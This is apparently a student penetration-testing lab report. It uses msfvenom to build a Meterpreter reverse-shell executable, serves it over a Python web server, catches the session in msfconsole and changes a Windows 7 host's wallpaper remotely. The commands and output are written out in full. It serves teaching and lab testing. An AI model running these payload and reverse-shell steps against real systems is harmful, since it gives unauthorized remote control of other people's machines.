# PENETRATION TESTING TASK

- K.MOHAN CHARAN

## 1.Scope:

The scope of the assessment is to change the wallpaper in Windows 7 remotely using msfconsole from Kali Linux(Client-side).

## 2.Methodology:

2.1 Create a .exe file in kali linux

```
┌──(mohan㉿kali)-[~]
└─$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.1.175.59 LPORT=1122 -f exe -o abc.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7680 bytes
Saved as: abc.exe
```

2.2 Create a python server

```
┌──(mohan㉿kali)-[~]
└─$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.1.181.81 - - [24/Feb/2026 12:02:05] "GET /abc.exe HTTP/1.1" 200 -
10.1.181.81 - - [24/Feb/2026 12:05:22] "GET /abc.exe HTTP/1.1" 304 -
```

2.3 We need to run the .exe file in Windows 7

2.4 Turn on the lister from Kali linux,set LHOST(kali ip),LPORT in msfconsole

```
msf > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 10.1.175.59
lhost => 10.1.175.59
msf exploit(multi/handler) > set lport 1122
lport => 1122
msf exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.1.175.59:1122
[*] Sending stage (230982 bytes) to 10.1.181.81
[*] Meterpreter session 1 opened (10.1.175.59:1122 -> 10.1.181.81:49239) at 2026-02-24 12:05:49 +0530
```

```
meterpreter > background
[*] Backgrounding session 1...
msf exploit(multi/handler) > back
msf > search set_wallpaper

Matching Modules
================

  #  Name                          Disclosure Date  Rank    Check  Description
  -  ----                          ---------------  ----    -----  -----------
  0  post/multi/manage/set_wallpaper  .              normal  No     Multi Manage Set Wallpaper

Interact with a module by name or index. For example info 0, use 0 or use post/multi/manage/set_wallpaper

msf > use 0
msf post(multi/manage/set_wallpaper) > set session 1
session => 1
```

2.5 Download a image in kali

```
msf post(multi/manage/set_wallpaper) > set wallpaper_file ~/Downloads/tom.png
wallpaper_file => ~/Downloads/tom.png
msf post(multi/manage/set_wallpaper) > run
[!] SESSION may not be compatible with this module:
[!]  * unloadable Meterpreter extension: android
[*] 10.1.181.81:49239 - Uploading to %TEMP%\tom.png
[*] 10.1.181.81:49239 - Uploaded to %TEMP%\tom.png
[+] 10.1.181.81:49239 - The wallpaper has been set
[*] Post module execution completed
msf post(multi/manage/set_wallpaper) > options

Module options (post/multi/manage/set_wallpaper):

   Name           Current Setting      Required  Description
   ----           ---------------      --------  -----------
   SESSION        1                    yes       The session to run this module on
   WALLPAPER_FILE ~/Downloads/tom.png  yes       The local wallpaper file to set on the remote session

View the full module info with the info, or info -d command.

msf post(multi/manage/set_wallpaper) > set wallpaper_file ~/Downloads/jerry.jpeg
wallpaper_file => ~/Downloads/jerry.jpeg
```

```
msf post(multi/manage/set_wallpaper) > set wallpaper_file ~/Downloads/jerry.jpeg
wallpaper_file => ~/Downloads/jerry.jpeg
msf post(multi/manage/set_wallpaper) > run
[!] SESSION may not be compatible with this module:
[!]  * unloadable Meterpreter extension: android
[*] 10.1.181.81:49239 - Uploading to %TEMP%\jerry.jpeg
[*] 10.1.181.81:49239 - Uploaded to %TEMP%\jerry.jpeg
[+] 10.1.181.81:49239 - The wallpaper has been set
[*] Post module execution completed
msf post(multi/manage/set_wallpaper) > [*] 10.1.181.81 - Meterpreter session 1 closed.  Reason: Died
```

# 3.Finding:

3.1 Successful Meterpreter session established.
3.2 Remote command executed.
3.3 System wallpaper changes remotely.

### 3.4 OUTPUT:

## 4.Fixing:

4.1 Upgrade to latest windows versions
4.2 Writing firewall rules and changes user permissions

## 5.Conclusion:

The penetration test successfully demonstrated that the Windows 7 client system is vulnerable to client-side exploitation attacks and remote access was established and system modifications were performed,including changing the desktop wallpaper.
